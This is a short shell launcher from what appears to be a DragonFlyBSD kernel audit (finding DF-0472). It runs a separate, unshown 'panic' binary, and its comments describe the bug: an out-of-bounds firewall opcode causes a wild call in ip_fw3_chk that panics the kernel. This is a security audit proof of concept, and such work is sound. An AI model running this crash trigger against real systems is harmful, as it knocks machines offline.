DragonFlyBSD Kernel Audit
DF-0472 / panic.sh
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#!/bin/sh
# DF-0472 panic variant: install an OOB-opcode rule, enable the firewall,
# send a packet -> ip_fw3_chk -> filter_funcs[0x80][0x80] wild call -> panic.
# WARNING: this crashes the guest. Run on a throwaway/reset-able VM.
cd "$(dirname "$0")"
./panic